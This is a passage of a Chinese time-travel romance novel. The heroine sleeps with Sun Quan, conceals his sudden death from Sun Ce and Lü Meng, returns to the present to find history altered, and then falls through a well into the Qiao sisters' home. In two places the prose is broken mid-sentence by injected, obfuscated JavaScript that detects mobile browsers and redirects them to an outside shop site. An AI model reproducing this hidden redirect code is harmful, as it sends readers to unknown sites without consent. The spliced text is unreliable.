步一乔放下茶杯,“周公子是要问罪吗?” “伯符既言既往不咎,瑜岂敢违逆。况且你是去照料仲谋,我为何相怪?” 最后一个音符消散在风中,周瑜的手轻轻按在弦上,止住了余韵。 “仲谋睡下了?” “嗯,刚睡着。” “做个选择吧。伯符和仲谋,你必须选一方,从而弃掉另一方。” “我说过的,我——” “选择仲谋吧。” 周瑜平静地打断她,神色如常。 “不是以他救了你而威胁,只是……仲谋恐怕时日不多了。” “谁说的?” “大夫。” “哪个大夫?大夫说什么你就信什么吗?” “步姑娘,那是致命之伤。他能延命至今,已是天幸。” “你在诅咒他?” 周瑜无可奈何沉了口气道:“罢了。仲谋甘愿以命相救,自是钟情于你。即便日后安然无恙,你与他年岁相当,也并非不可。” “说穿了,你还是认定他必死无疑。” 周瑜素来儒雅的面上掠过一丝极淡的烦躁。 步一乔却斩钉截铁:“他不会死。他可是孙家看上去最长命的那个人,他绝不会死。” 说完,她仰头饮尽茶杯中并非茶而是酒的液体,擦干嘴角扬长而去。 * 昏暗的卧房内,照不进月光。 厚重的云层遮住月光,黯淡的烛光勾勒出门外之人的轮廓。 连步一乔自己也不知为何会走到这里。夜风拂过,扬起她单薄的衣袂。 冷么?不。她只觉得心头燥热,一股莫名的躁动推着她向前。 孙权原本端坐在正对门的椅上,坐立难安。直至那个人影浮现,他才蓦地起身,像是心头一块石头落地,轻轻吁出一口气。 两人隔着一道门框、几级石阶,无声对望。 他眼底几乎要漾出光来,步一乔却有些惶然,下意识地开口:“我只是……来看看你的伤。看你睡了没有。” 孙权站在门内,朝她伸出手,唇角牵起极温柔的弧度。是一个无声的邀请。 步一乔抿住唇,四下望去——夜深人静,无人醒着。 除了两个偷情的人。 夜色如墨,烛影摇曳。 她终究是将手递了过去,被他温热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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步一乔眼中情欲瞬间褪去,转为锐利的警惕。她几乎本能地往孙权怀里钻,用他的身体护住自己,目光倏地射向窗外无边的黑暗。 没什么温度的掌心落在她发顶,安慰道:“野猫而已,不必害怕。” “……是吗?” 猫咪的肉垫踩过枯枝的声音,是这样的吗? 步一乔没继续多想,滚烫的唇舌贴上来,夺走她的注意力。 * 几番缠绵方歇,两人侧卧在榻,气息未定。 他的胸膛紧贴着她的后背,体温高得骇人。一只手臂自她身侧环过,掌心轻轻覆上她的小腹。 然而下一刻—— “咳……咳咳……” 压抑的咳嗽声突兀地响起,打破了帐中的温存。 “孙权?”步一乔倏然转身,“你没事吧?” “无碍……” 他试图掩饰,却换来更剧烈的呛咳,整个人蜷缩起来,仿佛要将五脏六腑都咳出。 直到他捂住唇的指缝间渗出暗红,染透了绣帕。 两人同时僵住,盯着那抹刺目的红。 寂静在黑暗中无限蔓延。 “孙权你……” 他强压下喘息,“无事……估计方才用力了些……歇息一会儿便好。” 说着,他再度环住她,将全身重量交付于她,下颌无力地抵在她肩头。 他的心跳透过相贴的肌肤传来,一下,又一下,沉重而缓慢,试图与她慌乱的脉搏重合。 “一乔……步一乔……做我夫人……不要嫁给……兄长……” 步一乔茫然地望着空荡的床帷,脑中一片空白。 他的声音越来越轻,如同呓语。 “我的第一次都给了你……纵然是强迫……我也原谅你……可你告诉我……那个曾说心悦兄长的你……当初为何……” 尾音悄然消散在空气中,再无下文。 步一乔微微侧过头,借着帐外残存的微光,看见他安静合目的侧脸。他的呼吸轻得几乎察觉不到。 沉默压得她喘不过气。 “孙权?”她试探着轻唤,缩了缩肩膀。 没有回应。 她抬手,轻轻拍了拍他的后背:“孙权?孙仲谋?” 依旧一片死寂。 连那微弱的心跳和呼吸,都再也感受不到了。 步一乔的瞳孔微缩,涌上眼眶的泪瞬间模糊了视线。嘴唇剧烈颤抖着,断断续续的声音从堵塞的喉间溢出。 “孙……孙权……?” 11. 清平误 烛火摇曳,在墙壁上投下幢幢鬼影,也照亮榻上那张年轻却已毫无生气的面庞。 步一乔跪坐在榻上,浑身冰冷,连指尖都在不受控制地颤抖。衣衫忘了披上,呆滞的神情似是眼睛都不曾眨一下。 她已经维持这个姿势太久,久到膝盖失去知觉。可她的内心,却正被滔天巨浪反复煎灼。 孙权死了。 巨大的恐惧如同无形的手,死死扼住了她的咽喉。 要说出去吗? 可她不敢告知任何人,只把孙权的房门关上,自己寸步不离。 不敢告诉孙策,不敢告诉吴夫人。 谁能相信他是自己咳血重伤而亡?谁又会信与你步一乔无关? 几双眼睛睁睁看见他为你挡下一刀!你是最后一个陪在他身边的人!你这来历不明的女子,本就是最大的嫌疑! 步一乔快疯了!快把自己给弄出精神分裂了! 若他们发现……若他们认定是她……杀人的罪名,足以将她碾碎成齑粉,死无葬身之地。 不能说。绝对不能说。绝不能让第三个人知道。 冷汗沿着她的脊背涔涔滑落。 可不说……又能瞒到几时?尸体在空气中一般存放多久?不久吧…… 天,就快亮了。 侍女会来添灯油,医生会来请脉,孙策……或许也会来看他重伤的弟弟。到时,冰冷的身体,凝固的血迹,该如何解释? 孙策会露出绝望的神情逼问:“人怎么死的?是不是你杀了他!” 又或许他根本不会问,举起大刀,便是一条人命。 步一乔仿佛已经听到门外响起脚步声,看到孙策暴怒冲入、吕蒙拔剑相向的场景。 每一次夜风拂过窗棂的细微声响,都让她惊得几乎跳起来,以为是有人来了。 她死死咬住下唇,尝到了血腥味,才勉强没有呜咽出声。 巨大的恐慌和负罪感几乎要将她撕裂。 她看着孙权安静的睡颜,他曾那么鲜活,会用发红的耳尖表达不满,会用灼热的目光凝视她…… 此刻却因为她陷入这极端可怖的境地而动弹不得。 “孙权?你说句话啊,安安静静的,一点不像你……” 步一乔尴尬地笑了笑。 “来,说些不害臊的话,我听听?初夜那晚……” 声音戛然而止。 因为步一乔又想起了她的初夜。她与眼前少年的初夜。 “那也是你的初夜吧?孙仲谋。” 她伸出手,想替他理好额前的一缕乱发,指尖却在即将触碰到他皮肤时猛地缩回。 不行,不能留下任何指纹。 她环抱住自己,只觉得无边的寒冷和孤独从四面八方涌来,将她彻底淹没。她被困在这死寂的囚笼内,守着一个惊天秘密和一具逐渐冰冷的尸体。 前进是万丈深渊,后退是刀山火海。 窗外,启明星悄然升起,微弱的光芒预示着她所恐惧的白昼即将来临。 她的时间,不多了。 “孙权……我该怎么办……” * 关上门,步一乔的手落在门缝上迟迟不肯离开。 “步一乔。” 厚重低沉的嗓音在身后炸开,惊得她猛地转身,整个脊背紧紧贴住门扇。 吕蒙眉头一拧,没好气地问道:“你这是作甚?” 步一乔心脏狂跳,她强行压下慌乱,假意咳嗽两声,清了清发紧的嗓子,道:“你来做什么?” “我来看看仲谋。” “他睡了。”她答得飞快,手臂不自觉地微微张开,成了一个更决绝的阻拦姿势。 “我就看看他,不打扰。” 说罢,吕蒙作势要往里走,步一乔立马拦住,语气急切起来。 “都说他睡了!孙权他……他睡眠极浅,你脚步重,一进去,他肯定醒!” 吕蒙的脚步顿在原地,探究的目光在她脸上逡巡。 “他今日服药后睡得格外沉些,”她努力让声音听起来更自然,“大夫也说需静养,最忌惊扰。” 廊下的风穿过庭院,吕蒙沉默了片刻,眼睛微微眯起:“既如此,我便不进去了。” 步一乔心下刚松了半口气,却见吕蒙并未转身离去,高大魁梧的身形顿时带来一股强烈的压迫感,粗犷的脸庞骤然逼近。 “但你若是刻意隐瞒什么。我才不管主公下的什么令,仲谋替你求什么情。我的刀,必然将你劈成两半!” 毫不掩饰的杀意如同实质的寒冰,瞬间刺透了步一乔的四肢百骸。 “要杀要剐……悉听尊便。” * 吕蒙离开后,步一乔站在孙权卧房门外久久挪不动脚。呼吸困难,比临死还难过。 吕蒙都差点暴露,更何况是周瑜……藏不住的……一定会暴露的…… 不知又过多久,夜色渐浓,步一乔还是憋不住,托着沉重的身子来到了孙策屋外。 门开着,她在门前犹豫片刻,终于抬手,极轻地叩响了门扉。 “伯符……” 屋内,孙策正就着烛火,擦拭着他的佩剑,在听到她声音的瞬间柔和了下来。立马起身朝她走来,目光如温暖的烛火,将她笼罩。 “大乔。仲谋的身子,可有好些?” “孙权他……” 步一乔下意识地绞紧了衣袖,话到嘴边又咽了回去。 她避开他关切的目光,低声嗫嚅道:“……嗯,好些了。刚服了药,已经睡下了。” “如此便好。” 孙策似是松了口气,唇角牵起一个令人安心的弧度。 “有你看顾他,我总是放心的。” 屋内再次陷入寂静,一阵难言的失落悄然攥住了步一乔的心。 忽然,一只温暖而略带薄茧的大手轻轻落在了她的发顶,动作轻柔地替她理了理被风吹得有些凌乱的发丝。 “这些日子,辛苦你了。看你都清减了些。照顾仲谋固然要紧,但你自己的身子,更不可轻忽。” 他指尖的温度透过发丝传来,却像一块烙铁,烫得她心口发疼。温柔的关怀此刻竟比任何斥责都更令她难以承受。汹涌的愧疚感几乎将她淹没,堵住了她的喉咙,让她窒息。 “伯符……” 她抬起眼,望入他清澈坦荡的眼底,那里面盛满了全然的信任。 “嗯?”他耐心地等待着她的下文。 “我其实……我其实是……” 真相几乎要脱口而出,沉重的秘密压得她脊背都要弯曲。可看着孙策的眼睛,话语最终化作了一声无力喘息。 步一乔猛地向后退了半步,仓皇地避开他的触碰。 “我……我去看看他有没有踢被子。” 她几乎是落荒而逃般地转过身,脚步踉跄。可就在走出几步之后,不舍与眷恋又如潮水般涌上,让她鬼使神差地回过头,想再看他一眼。 仿佛心有灵犀一般,孙策也正凝望着她的背影。他的目光依旧温和,却带着一丝不易察觉的探寻。 四目相对,步一乔像被灼伤一般,倏地垂下眼帘,全身颤抖着,再也鼓不起勇气与他对视。 “对不起……伯符。” *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467246|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她几乎是跑回孙权的卧房,狠狠关上门,将不存在的人和视线隔绝在外。 葬送了初夜的屋子,此刻就像杀手的安全屋,令人松懈下来。 床榻上的人已没了气息。步一乔站在床榻边,俯视着,而后缓缓俯下身,将前额轻轻贴上孙权那片冰凉的皮肤,唇瓣张合,说了什么话,许久才抬起。 “抱歉。” 没有更多时间哀悼。她利落地收拾好所有属于自己的物品,不留下一丝痕迹,如同她从未在这个时代存在过。 趁着夜色,她再次回到地牢,片刻不停躺回熟悉的棺椁,用力拉合沉重的棺盖。 眼前陷入彻底的黑暗。她闭上眼,在心中默念那个她要抵达的年份。 周身空气剧烈地波动,温度骤升又骤降,一阵熟悉的眩晕与撕扯感过后,一切归于平静。 穿越结束了。 她立刻推开棺盖,急切地翻身而出,冲向地牢之外。 刺眼的阳光让她微微眯起了眼。游客熙攘,周围人声鼎沸,导游的讲解声诉说着她刚才经历的历史。 一阵虚脱感袭来,她喃喃自语:“先……先回学校吧。” “站住!” 熟悉的冷喝少年音自身后炸开,步一乔吓得浑身一颤,猛地回头。 周遭的空气似乎扭曲了一瞬,光线诡异地折叠,一个虚幻的身影悬浮于不远处。 “你……” 虚幻的影像极不稳定,闪烁着如同信号不良般的雪花和卡顿。 呵。 步一乔扯出一个苦涩的笑,下意识地后退半步。想不到连日来的紧绷与巨大的负罪感,已经让她精神崩溃到了出现如此逼真幻觉的地步。 “你就这么放任我死吗?”残影发出冰冷的质问,声音断断续续。 “我已化解了门客刺杀一事,伯符不会出意外。现在你死了……” 她停顿了一下。 “伯符就可以顺利登上吴王之位。这是最好的结局。” 没错,这是最好的结局。 自己改写历史的目的达到了。 反正孙权早晚会死。对于两千年后的步一乔来说,他早死了,投胎都几回了。 对,是这样的。她步一乔没有错,她是为了完成目的去的。 没有杀人……没有…… “孙权”的残像剧烈地闪烁起来,扭曲的脸上浮现出一种近乎讥讽的表情。杂音越来越响,幻影却步步紧逼,声音层层递进,从低语化为最终的审判: “步一乔……” “杀人凶手……” “步一乔。” “杀人凶手。” “步一乔!” “杀人凶手!!!!” 最后一声咆哮,不再是冰冷的质问,而是裹挟着无尽怨愤与绝望的嘶吼。随后影像爆裂成无数碎片的光点,彻底消散在空气中。 只留下步一乔僵立在原地,面色惨白。 “我不是……我不是杀人凶手……我没有杀人……是吕蒙……是孙权……” 她扯了扯唇角,呵呵地笑起来。 “对,是孙权自己要替自己挨下那一刀的……是他自己要死的……不是我……” 她缓缓转过身,一步一步地拖着沉重的双腿,踉跄着朝孙氏旧宅的外面走去。阳光照在她身上,却仿佛照不进她空洞的眼底。 “我不是……孙权……我不是……” 她反复呢喃着,不知是在向谁辩解,还是在进行一场绝望的自我催眠。 “临走前,我向你道过歉了……我不会救你的。我不会再穿越回去……救你……” 12. 失调名 步一乔的身影渐渐融入喧闹的游客人流,却像一抹孤寂的游魂,与周遭的鲜活格格不入。反复的低语,最终消散在嘈杂的风里,无人听见。 回到宿舍时,室友霖霖看到后,手上的保温杯直接没拿稳摔在地上。 幸亏还没接上热水,不过也足够证明此时步一乔的脸色有多难看。 丢下保温杯,霖霖冲到步一乔身边搀扶住她。 “你怎么了?怎么逛个遗址园把自己搞成这样?” 步一乔抬起空洞的眼睛看她,问:“教授呢?他今天有课吗?我要找他。” “哪个教授?”霖霖问。 “历史学综合课的教授。” “她不是请假回去休产假了吗?半年以后回来。你忘啦?” “产假?他结婚了?” 话说男性也可以休产假了吗?也是半年?什么时候的事儿? 步一乔空洞了半晌,迟缓地在凳子上坐下,从抽屉里捞了根棒棒糖叼在嘴里。 霖霖蹙眉纳闷,打趣问道:“怎么?你什么时候喜欢上她的课了?” “不是……我就问问。” 霖霖替她泡了杯蜂蜜水,又催促她去洗个热水澡,睡一觉。 躺在被窝里,步一乔盯着寝室灰白色的天花板,脑海里时不时闪过孙权的脸。 那之后又发生了什么?孙策是否顺利坐上吴王之位,一统江东?战败曹操,顶替天子,掌管天下? 脑子好疼。 眼下不管想什么,总有张孙权的脸在脑海中闪现。 “对了!历史书!我必须去看看孙策后来怎么样!” 刚躺下的人跟充满电似的,从上铺跳下来,捞上外套夺门而出。 坐在位置上翘着腿的霖霖傻了半晌,听见队友开始骂人了才回过神来。 步一乔马不停蹄冲去学校博物馆,冲向三楼的历史文献区域。 精准找到三国历史,翻开《三国志·吴书》。 “建安五年,孙权遇刺不治身亡。孙策沉浸在失去弟弟的悲痛中,葬礼上遭许贡的门客潜伏……” 书本落地的声音在寂静的图书馆炸开。 孙吴无主,周瑜等人各奔东西,天下未能形成三足鼎立。刘备终究不敌曹操,蜀军打败,曹魏一统天下。 “……全军覆没。” 步一乔无力地跌坐在地。 “我都干了什么……” 步一乔踉跄着将胳膊抵在书柜角,脑海中一闪而过的画面如此真实而刺目,让她的心慌张地跳个不停。 是孙权与她最后一次沉沦时的脸。喘息着,伏动着。是燥热的,是热忱的。 “不……不是因为交欢……而且是他自己要上我的!明知自己身负重伤——” 步一乔的自言自语戛然而止。 几乎目之所及所有人的目光都盯着她,露出惊讶吃瓜的表情。 她赶紧取下一本书,假装无事发生,继续看书。 “如果我现在穿越回更早的时间,孙权会不会复活?再来一次……吗?” 再来一次意味着什么?意味着又得重新开始,与孙策重新认识,与江东那群对自己嫉恶如仇的大老爷们重新打交道。 嗯,重新开始吧。 这次得小心行事,确保不酿成大错的同时与所有人搞好关系。 至于孙权…… “为什么这次我回去,他会记得我强吻他的事儿?还有强迫他上床又是怎么回事?青春期的少年做的春梦?还是说……不可能,他又不是穿越过去的,怎么可能和我一样记忆不会清除。话说那个棺材居然还有这等功能……好神奇……” 步一乔只能不停地无端猜测,却得不到任何答案。可一点停止思考,孙权那张脸就会出现。 * “一乔……步一乔……做我夫人……不要嫁给……兄长……” “我的第一次都给了你……纵然是强迫……我也原谅你……可你告诉我……那个曾说心悦兄长的你……当初为何……” 孙权是因为临死所以说的胡话? 他当真喜欢自己?不对,如此偏执的告白,应该是爱了吧? 说这些莫名其妙的话之前,孙权曾抓住步一乔的手掌,让其贴上自己心脏的位置。 看着自己的手抚摸在什么东西上,步一当即脑袋炸开,一片废墟。 他的心跳很快,快得撞击胸腔掷地有声。 步一乔想抽回手,却屡次被抓回去,继续按着。 “你干嘛!我不想摸你的……那儿!”步一乔恼羞吼道。 孙权虚弱的身子就像醉酒了似的,眸色深沉,恍恍惚惚。 “这里跳动得好快……我是不是要死了?” “说什么不吉利的话!”步一乔怒怼回去,“我不是说了你要活到七十岁吗,长命不好吗?” “可是你说……余生的五十年……没有你……” 因为说了他的余生没有自己,所以就老是说自己要死了的话? 这个人真的是…… 步一乔捧起孙权憔悴的脸,使劲儿揉搓少年的脸颊。而后又温柔地拨开他额前的碎发,鬓边垂下的发丝。 本想说“自己不配与他共度余生,他的余生有的是女人,为他争风吃醋的女人比比皆是。”,但步一乔全全吞回肚子里,换做一个吻,缠绕上孙权的舌尖,交换气息。 …… * “好烦啊……又想起他了……不就睡过两次吗!能不能别来烦我!” 声音炸开,吸引来更多目光。 图书馆是待不下去了。人怕出名猪怕壮,步一乔再不跑,就要成为明日之星了。 跑回宿舍,霖霖正好挂断电话,看见步一乔露出一副来得正好的表情。 “有个活动,在安徽潜山。”霖霖说。 “什么活动?”步一乔问。 “大小乔的文化交流活动。潜山那边的三国历史研究会邀请各个高校的历史系学生参加。我刚收到通知,教授让我直接跟你讲,她就不单独通知你了。” “我有事,不去。” 霖霖苦笑着戳戳她的脸,说:“这是通知,不是问你去不去。后天早上的大巴车,就当去旅游吧。说不定还能邂逅个什么奇妙之缘呢。” * 文化交流活动能邂逅个什么奇妙之缘?除了第一天集体活动后,之后的几天都是自由活动,完了最后一天再来个心得感受分享,没了。 参加的不是有对象的大学生,就是抱孙子的学者,她跟谁邂逅? 开了一天会,第二天步一乔只想窝在酒店睡上一整天。 霖霖似乎和什么潜山的网友约好了,起床便出去了,晚上说不准回不回酒店。 睡一天肯定是没那本事的。 穿越过去的几天,强迫适应古人的生活作息,步一乔已经快在现代社会成为日出而作日入而息的新时代年轻人。 “好无聊啊……还是出门逛逛吧。” 于是,步一乔选择了二乔公园。大概是受了孙策给自己取名大乔的缘故吧,听闻公园内有二乔的雕塑,她想去看看。 穿过曲折栈桥,步一乔在园林中找到了二乔的雕塑。 自己去了两次的时间,都在孙策与大乔相遇之后,为何不曾见到两人呢?或者,孙策将她养在别处,周瑜也是,所以没见着? 肯定不是这样…… 死了?呸,死你个头啊。 “该死的孙权!下次见着,我绝逼揍你一顿!” 自孙权带来沉重打击后,步一乔觉得自己的智商时常不在线,想问题总想到一半就会跑岔,或者断线。 都是孙权的错,一定是他的错。 “该死的孙权!欺男霸女!毁我青春!不是好人!” * 工作日公园没什么人,工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467247|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员也见不着。 不知不觉间,步一乔走到了一口井边。扫了眼楹联上的字,她伸长脖子去望井,想看看有多深。 “什么嘛,又是被水泥封死的……没意思。” 步一乔嘟囔着正要直起身,脚下突然一滑。看起来十分稳固的石板沿竟毫无征兆地松动了一下! 惊愕之余,她整个人失去平衡,直直朝着被水泥封死的井口栽了下去。 “搞什么啊啊——!”她下意识地闭眼。 预想中的撞击并没有到来。 她竟然在下坠?耳边是呼啸的风声。 “这怎么可能……?” 她猛地睁大眼睛,试图在黑暗中看清什么。 那口井明明被水泥封得严严实实,她怎么会掉进来? 就在她脑子被这违反常理的一幕搅成一团乱麻时,眼前漆黑的深渊里,忽然毫无征兆地闪现出几点微光。 那光芒起初很微弱,如同夏夜林间飘荡的萤火虫,零星分散。 但很快,光点越来越多,越来越密,它们并不照亮四周,反而像是自顾自地汇聚成一条流动的光带,围绕着她飞速旋转。 “这是什么……” 步一乔感到一阵眩晕,仿佛灵魂都被这奇异的光芒吸了进去。 时间感和空间感变得错乱,耳边似乎响起许多模糊的、嘈杂的碎音,听不真切,却又带着一种古老的韵律。 萤火般的光点骤然爆发,强光刺得她闭上了眼睛。 紧接着,一切戛然而止。 下坠感消失了,风声停止了,那令人不安的旋转感也不见了。 步一乔感到自己实实在在地摔落在了什么东西上,触感坚硬而粗糙,震得她骨头生疼。 她龇牙咧嘴地撑起身,揉着发痛的手臂,茫然地睁开眼。 预想中公园的下水道没有出现,反而空气里弥漫着一股檀香和草木灰混合的淡雅气息,完全不是公园该有的味道。 她发现自己跌坐在一处雅致的庭院里。寒冬腊月之际,眼前是蜿蜒的抄手游廊,廊外假山玲珑,一池寂寥。 “这……是哪?怎么季节都变了?” 步一乔猛地回头,院墙上开着一扇月洞门,门上悬着匾额,以古朴的篆书写着两个字。 “桥府?!” 步一乔呆呆地看着眼前完全陌生的世界,一个荒谬却又让她心脏狂跳的念头猛地窜入脑海。 “……不会吧?” 来不及多虑,一阵细碎的脚步声和少女的娇嗔从远处传来。 “姐姐慢些,当心脚下!” “今日新学的曲子,我总弹不好那段破音,须得再练练……” “我看姐姐不是忧心曲子,而是孙吴的军队马上打到皖城吧?” “孙策野蛮,周瑜精明,皖城只怕……” 声音从游廊另一端传来,越来越近。 步一乔慌忙想找个地方躲起来,却已经来不及了。 两位身着曲裾深衣的少女转过廊角,骤然看见院子里凭空多出一个发型古怪、衣着奇特的陌生人,顿时吓得花容失色,僵在原地。 步一乔也彻底愣住,屏息看着眼前的两人。 稍年长的那位,云鬓轻挽,姿容绝丽,眉宇间自带一段温婉风流;稍年幼的那位,明艳灵动,顾盼神飞,宛如含苞待放的灼灼桃花。 即便从未见过,步一乔也在第一眼就无比确信。 是她们!江东绝色,大乔与小乔! 她竟然直接掉到了二乔的家里?!从一口水泥封死的公园假井? 小乔先反应过来,警惕地将姐姐护在身后:“你是何人?为何擅闯我家庭院?” 步一乔大脑一片空白,所有关于逻辑、关于科学的解释在这两个活生生的古人面前彻底崩溃。她张了张嘴,干巴巴地挤出一句自己都觉得离谱的话: “我……我从井里掉下来的。” 13. 水中月 “姐姐!姐姐!” 屋外传来急匆匆的呼声,步一乔站在室内望向门口。 “姐姐?”她不禁重复道。 门外跑进来一位容貌倾国的女子,正是小乔。她一路小跑到书案前,对着正在阅读竹简的大乔急声道:“姐姐!孙将军的兵马已兵临城下,父亲那边恐怕……” 大乔倏地起身,面色沉重地看向步一乔。 “步姑娘。” 步一乔心头一紧,迎上她的目光。 大乔忽地抓住步一乔的手:“昨夜姑娘许诺,可替我完成一心愿,此话可还作数?” 步一乔喉间一梗,隐约猜到了什么。 “你要我代你……嫁给周瑜?” * 昨日,步一乔在潜山的二乔公园散步,不小心掉进井里。 不曾想,世上除了孙宅旧址的棺材,还能有穿越的地方。更巧的是,这边穿过来,直接到了二乔家,二乔跟前。 彼时,孙策周瑜正率军攻打皖城。 彼时,建安四年十二月。 步一乔看着面前的姑娘,看过小乔后,目光落在大乔脸上。 这是真正的大乔,孙策历史上唯一公开的妻妾。 她……才是大乔。 步一乔又想起曾经心底默默答应孙策话:“大不了真的大乔出现,把名字还给人家便是。” 自己当时居然天真的以为,自己这个假冒伪劣的大乔出现,正版授权的大乔就不该存在。 至少,孙策与她不会再相遇。 步一乔很失落,明明是伤心的……脑海里却又出现了那个人的脸。 当年攻打皖城,孙权也在吗?他现在在哪儿? “姑娘莫非是来此避难的?” “什么?” 闻声,步一乔诧异地拉回思绪。大乔面露担忧,伸手将步一乔从地上扶起。 “怎么穿得那么单薄?乱世之中,苟全性命实在难得。姑娘若是无处可去,可暂且在此休整几日。” “多谢……乔姑娘……” 步一乔看着眼前的大乔,眼睛圆鼓鼓地睁着。而后的举动,吓坏了大乔,以及她身后的小乔。 大乔立马举起绣帕,擦拭步一乔脸上的水痕。眉眼含笑,倾国倾城。 “莫要伤心,小心哭坏了身子。”大乔柔声安慰。 此刻没有下雪,地上却似有什么反光的白,将大乔的皮肤照得白净剔透。寒风凛冽,步一乔还穿着春装,愣了半晌,才打了个冷颤。 “皖城不日便会易主,若是孙策将军大肆杀虐……”大乔沉下眸子,后面的话不愿再说。 步一乔说不出为孙策为人辩解的话,说不出两位姑娘会分别嫁给二人,佳话流传千古。 因为她酸了。 酸涩的情绪堵在心口,难受得恨不得又跳回井里去,一走了之。 * 步一乔暂且在桥府住下。 明日孙策便会举兵进入皖城,便会听人言二乔美名,纳大乔为妾。 躺在床踏上辗转反侧,步一乔实在睡不着,起身推门而出,打算去井边看看。 却没料在后院,撞见了另一位亦未寝。 四下安静,大乔独自待在这里,应该是有原因才对。 步一乔走上前,在她身边坐下。 深冬之月,桥府后院的水池边,两个人并排坐着。花草凋零,万物沉寂。 大乔看了眼步一乔,欲言又止。 步一乔察觉到她的视线,看去时,大乔已沉下眸子。 “大乔姑娘若有心事,可愿说与我听听?” 大乔抬头望着明月,眼波流转。 “步姑娘有想过自己此生会嫁给什么样的男子吗?” 步一乔摇头。 大乔叹息道:“我想过无数种。却没想过是以此身份……” “时得桥公两女,皆国色也。策自纳大乔,瑜纳小乔。” 说难听的,二乔不过作为战利品,成了孙周二人的所有物罢了。 坊间流传的是爱情,实际上,有谁知道呢? 步一乔拍了拍大乔的后背。 “孙策将军说不定是个好人呢?嫁给他,指不定很幸福呢?” “常年征战四方、生死未卜的丈夫吗?” 步一乔顿时哑口无言,“乱世嘛,也是没办法的事儿。何况他有一身本领傍身,没那么容易死呢。” “可我听说孙策做事轻佻果躁一意孤行……” 说着说着,大乔又抽泣起来。 “这门婚事与我而言,是福是祸尚且不知,但于桥氏乃至皖城,却是生机。孙策将军霸王再世,若能嫁他,可保桥氏一门在江东无忧。可是……可是……” 大乔再也无法说下去,哭得泣不成声。 步一乔抿了抿唇,不知说些什么好,又顺了顺大乔的背给予安慰。 她是封建时期没有恋爱自由的女子,却也不想委屈自己嫁给一个无法厮守白头的丈夫。 一个是求而不得,一个是不愿成全。都是“大乔”,为何如此截然不同? 大乔擦了擦眼泪,继续道:“妹妹比我生得乖巧,若是看姿色,恐孙策将军会选择妹妹。” “不会不会。”步一乔摆摆手,肯定道,“一定是姑娘。” 大乔诧异地看过来,又叹息着垂下头,道:“不瞒姑娘说,今日有人通风报信说,两位将军已将我姐妹二人分清……信人亲耳听见孙将军夸妹妹生得姣好……” 是这样吗?孙策原本喜欢的是小乔吗?那又是为什么改了主意?莫非是见到本人后,各自坦白,顺理成章换了对象? 好离谱……好狗血……好有意思! 忘了自己置身事内,步一乔此刻只有吃瓜的快乐。 “那啥……”步一乔顿了顿,“姑娘救了我,收留了我,我可替姑娘完成一个心愿,或者告诉你一件只有神知道的事儿。” “神知道的事儿?预言吗?”大乔问。 步一乔咧嘴笑道:“总之你想好了,直接告诉我即可。” * 时间回到眼下。 步一乔睁大了眼睛盯着大乔,大乔也不甘示弱,眨都不眨一下盯着她。 “定是周瑜将军……步姑娘,昨夜许下诺言,可还作数?”大乔沉重问道。 步一乔瞪大眼睛,结结巴巴道:“你……要我代你……嫁给周瑜???” 那周瑜几天前才差点把我算计得被吕蒙一刀砍了,现在要我嫁给他?!狗血剧情也不带这么走的! 步一乔强迫自己冷静下来。 历史早写清楚,大乔嫁的是孙策,别瞎操心了!就算她步一乔能耐再大,改写历史——不,不可能。 方才跑进屋的小乔愁眉苦脸打断二人道:“父亲说,按照军衔官职,恐怕是孙策将军纳姐姐,周瑜将军纳妾……” 小乔应该是欣喜自己嫁给周瑜的,面上担心的,是她姐姐。 “我答应姑娘。”步一乔握住大乔的手,“若是你亲眼见到孙将军,后悔了,我也答应。提前说好,这样姑娘也无后顾。” 大乔含泪欠身致谢:“大乔此生不忘姑娘恩情。” 这时,屋外跑来侍女通报,要二乔速速整装出门迎接。 历史性的一刻终于到了! 步一乔也即将见到建安四年,人生巅峰时期的孙策。心里说不明有多高兴。 走向桥府大门,大乔走在前头,小乔和步一乔走在后头。手突然被人拉住,一看,竟是小乔。 小乔:“姐姐怎么跟你说的?” 步一乔:“啊?说什么?” 小乔:“没说什么你会愿意替她嫁人?” 话音刚落,她四下张望一番,似乎顾及人多眼杂,谨慎地止住话头。但又忍不住好奇,压低声音继续和步一乔说。 “姐姐可有告知不愿嫁的原因?” 步一乔摇头。 小乔嗤之以鼻,盯着她姐姐的背影,道:“定是跟你说孙策将军常年征战,生死难料之类的话吧?定是如此,我一猜一个准。姐姐啊姐姐……罢了,总而言之,就是这么一回事。” 步一乔:“啊?” 怎么一回事啊?? * 眺望去,浩浩荡荡的军队入城,走在前头马上的两个男人雄姿英发。与一年后并无太大差别。 步一乔盯着孙策张扬的笑脸,内心五味杂陈。不知不觉间,视线再也挪不开。 她是在想什么,不过感动之余,想起了另一个人。 孙权。 此时的孙权在哪儿呢?他活过来的吧? 孙策与周瑜停靠在桥府门外,但没有下马,看着桥公身后的三名女子,沉默片刻后,勾起一边唇角。 “本以为桥公只有两个女儿?”孙策调侃道。 桥公与二乔回头看向步一乔,心有余悸,不好说此人是于家中避难的。 “回将军的话,一乔是我三妹。”大乔敢在众人猜疑之前回答。 